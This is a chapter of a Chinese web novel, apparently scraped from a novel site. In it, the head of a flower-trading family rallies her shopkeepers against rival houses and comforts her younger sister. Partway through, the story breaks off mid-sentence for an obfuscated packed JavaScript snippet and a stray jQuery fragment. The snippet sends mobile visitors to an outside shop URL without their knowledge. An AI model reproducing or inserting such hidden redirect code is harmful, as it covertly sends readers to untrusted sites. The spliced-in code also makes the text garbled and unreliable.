文趣网 > 其他小说 > 家主大人请三思! > 9. 拉拢势力,一致对外
    上京,

    这边宋南杉刚下朝,平日里几个比较相熟的同僚立即凑了上来。

    “宋大人,几日不见别来无恙啊。”

    “嗯,余大人也是,别来无恙。”宋南杉身着官袍,沿着长阶慢悠悠地往下走。

    这位余大人现任礼部尚书,和宋南杉的父亲是同辈,称得上是官场上的老人了。只不过,宋南杉的父亲早在前些年辞了官,留在上京休养生息。

    “回去替我给你父亲道声好。”分开时,余大人特别交代说。

    宋南杉自江南回来,先去圣上那边述了职,连自己的府邸都还没来得及回,更别说宋老那里了。

    “大人,要回老大人那边吗?”立在马车边等待的侍从问。

    宋南杉抬脚上了马车,回道:“不了,先回府。”

    他在上京的院落是圣上钦赐的,距离皇宫很近,回去也顺路。

    到了府内,换下官袍,宋南杉又从前些天穿的外衣里取出个锦盒,打开后,里面俨然是前些日子从江南离开时,祝家主赠与他的那支月季。

    只可惜,这花跟着他奔波一路,没有及时插入水中,现下已经有些干枯了。

    对于祝悠姌此人,宋南杉一直持着某种寻乐子的态度。第一次见到她,还是在初到江南那日,百里长街上,祝悠姌带着一众家丁,浩浩汤汤地在人群中穿行过去,颇有气势。不知为何,只那一眼,宋南杉就察觉到了她与其他人的不同,甚至可以说与周围环境格格不入了。

    “许风,打听一下那位是谁。”他对身边的侍从说。

    “回禀大人,是祝家的小姐。”

    “祝家?就是那个祝家花行吗?”宋南杉想起来,前阵子上京城中筹办“百花节”,他与祝家花行的那位老家主曾有过一面之缘。

    “今年祭祀用的摆花,就去祝家订好了。”

    回忆到这里,宋南杉突然想知道,在他回京的这些天里,祝悠姌又在做些什么。

    既然见不到人的话,就提笔吧。

    “大人,老爷那边派人来催了。”许风敲了敲书房的门。

    宋南杉刚写下一个字,“嗯,让他等着。”

    祝府,

    “小姐,该用早膳了。”春桃轻轻敲着自家小姐的房门。昨日,出于担忧,她和秋菊在房门外守了一夜。而她们守了多久,里屋的灯盏就燃了多久。

    等了一会儿,里面终于传来声音:“拿进来吧。”

    二人推门而入,随后一同不顾阻拦地跪了下去:“小姐,待会儿你如何责罚都好,奴婢斗胆请问,昨日在那处别院里,究竟发生何事了。”

    见状,祝悠姌叹了一口气,道:“我正要找你们说这件事呢,先起来吧。”

    祝悠姌简单把她在那里见到明惠生之后的事交代完后,又在二人脑门上各戳了一记:“好了,我说完了,一会儿你们帮我把各家铺子的掌柜叫过来。”

    “责罚呢?”春桃问。

    “责罚就是,等你们把人叫过来后,各自回房好好睡上几个时辰。”

    再不睡,这两人脸上的黑眼圈,怕是比自己还要重了。祝悠姌心想。

    祝府前厅,

    “今日,我把诸位召集在此,是有重要的事要宣布。”祝悠姌坐得端正,脸上一片阴翳。

    同样坐着的几位掌柜头上冒了一层冷汗。上次被祝悠姌叫到这里,还是明面上清算账本那次。而自从这位小姐接任家主一位,那种雷厉风行、说一不二的作风已经在他们心中根深蒂固,所以这天早上一接到传唤,每个人都抱着忐忑的心情准时到了。

    “今日家主大人瞧着好像有点奇怪啊?”有人实在忍不住,问旁边的唐掌柜。

    唐掌柜此时更是正襟危坐着,只用极小的气音答话:“家主大人自病愈以来有哪一天是不奇怪的?还有,不要说话了,她一直看着我们这边呢!”

    那人打趣他:“老唐,你本来就胆小,莫要再吓自己了。”

    事实上,唐掌柜的这种感觉并非错觉。从他们落座时起,祝悠姌确确实实一直在看着他的方向看。直至方才,祝悠姌都还在组织措辞来告知他,城东铺子即将被交予明家人这件事。

    “唐掌柜。”祝悠姌不再看他,终于启唇道。

    被叫到的人则是浑身如同触电般,一下从座位上弹起来,“在......在!”

    祝悠姌抬手示意他坐下,又从嘴里吐出三个字来,

    “对不住。”

    这下,唐掌柜,包括在场的所有人都怔住了。

    ——什么情况?

    祝悠姌深吸一口气,接着说下去:“就在昨日,上京明家的三公子以我的妹妹,也就是祝家二小姐为要挟,同我做了交易,”

    “交易的内容是,对方要出钱买下祝家在城东的铺子。”

    瞬间,坐在前厅内的所有掌柜和伙计都七嘴八舌地讨论起来,

    “我们好歹也算祝家花行的老人了,这么多年还是头一回听见要典当铺子这回事!”

    “家主大人也是不得已才答应的吧,还是二小姐人更要紧。”

    ......

    讨论到最后,气氛愈发激昂,各掌柜千言万语汇成一句:“明家欺人太甚!”

    “好了,安静一下。”祝悠姌连着几天熬夜,被他们这么一闹更是头痛。

    “接下来的话,都好好听着,尤其是你,唐掌柜。”

    此时的唐掌柜还沉浸在可能丢掉饭碗的哀伤中,听到点名才猛然缓过神来。

    “从明日起,你去城西铺子那边打打副手,日后有别的安排,我再知会你。”

    “谨遵家主吩咐。”唐掌柜松下口气来。

    祝悠姌表情更加严肃起来,接着往下说:“既然,明家已经开始对祝家出手,那么我们自是不能坐以待毙。”

    “除此以外,明家已经与杜家联手,以祝家目前的势力,恐难与之抗衡。今后,我会想办法,尽可能拉拢其他花行,一致对外。”

    说完这些,祝悠姌望向下面的人,希望能得到些有用的意见。

    然而,她首先听到的却是反对的声音:“家主此法固然可行,但想说服其他花行,恐非易事啊!”

    “我们祝家好歹也是江南数一数二的经商世家,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17841078|211650||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    与其他花行周旋了这么多年,难道连一点情报都没有吗?”

    “这.....”一时间,掌柜们陷入沉默。

    随后,有人率先发言:“禀告家主,小人与林家老家主打过交道,对他的习性略知一二。”

    此言一出,又有更多人站出来,

    “家主,在下曾从黄家的伙计口中听到些什么。”

    “家主,杜家......”

    这场会议最终持续了很久,中途春桃和秋菊还过来帮忙做了记录,总而言之,收获还是蛮多的。

    从明惠生那里回来后,祝衣衣则因为随意跟着陌生人走,被留在屋内自我反省。

    送走前厅的人后,祝悠姌从膳房里拿了些她平日里爱吃的几样点心,敲了敲门,无人应答。

    “衣衣,你在里面吗?我是阿姊,听到快开门。”

    过了一会儿,里面传来女孩的控诉,“哼,我不要理阿姊了!”

    祝悠姌失笑,看来,这是在同她置气呢。

    “阿姊带了荷花酥呢,你难道不想吃吗?”

    “想吃。”祝衣衣对食物没有抵抗力。

    进来后,祝悠姌刚把点心放下,祝衣衣就抓起几块塞进嘴里,一边狼吞虎咽地吃着,一边红着眼睛看她。

    “好了,是阿姊不对,吃慢点。”祝悠姌说着,轻轻在孩子的背上拍了拍。

    等到祝衣衣把点心吃完,祝悠姌才开口问:“能告诉阿姊,你为什么要跟别人走吗?”

    祝衣衣低下头,说:“那个姐姐说要带我出去找阿姊,我才跟她走的。”

    听到这里,祝悠姌心头一紧。说实话,这些天她一直在忙林家的事,确实很少陪这个妹妹了。

    “对不起,那以后阿姊多陪你出去玩好不好?”

    “什么时候都可以吗?”

    “嗯,阿姊尽量。”

    “明天呢?”

    “明天嘛......也行!”好巧不巧,明天是祝悠姌原定的和林二小姐去城郊田园看花的日子,带上祝衣衣的话,完全可以。

    听到祝悠姌这么回答,祝衣衣跳起来,扑进了她怀里。

    次日,

    “徒儿,你要出城去看花材?”这天,温恕雪按时按点来蹭饭时,听到了这个消息。

    “怎么?师父也想一起?”祝悠姌放下手中的筷子,“先说好,今日我还有生意和林家谈,去了可不能抽查徒儿的插花作业。”

    温恕雪疯狂点头:“去去去!为师这就收拾东西!”

    “温先生!”见到温恕雪,坐在马车里面的祝衣衣很有礼貌地打了招呼。祝悠姌则是在接到林景萱出发的消息后,最后上了马车。

    就在他们一行人离开后不久,有一少年,衣着不凡,御马停在了祝府门前,

    “你们家家主呢?我有东西给她。”

    门外的侍从说:“抱歉,我家小姐今日不在。还有,送礼就免了,如果是其他的,可交给小人代为转交。”

    “没什么重要的,也就一封信而已。”少年笑笑,“只不过,那家伙拜托我了,务必要亲自交到你家小姐手里。”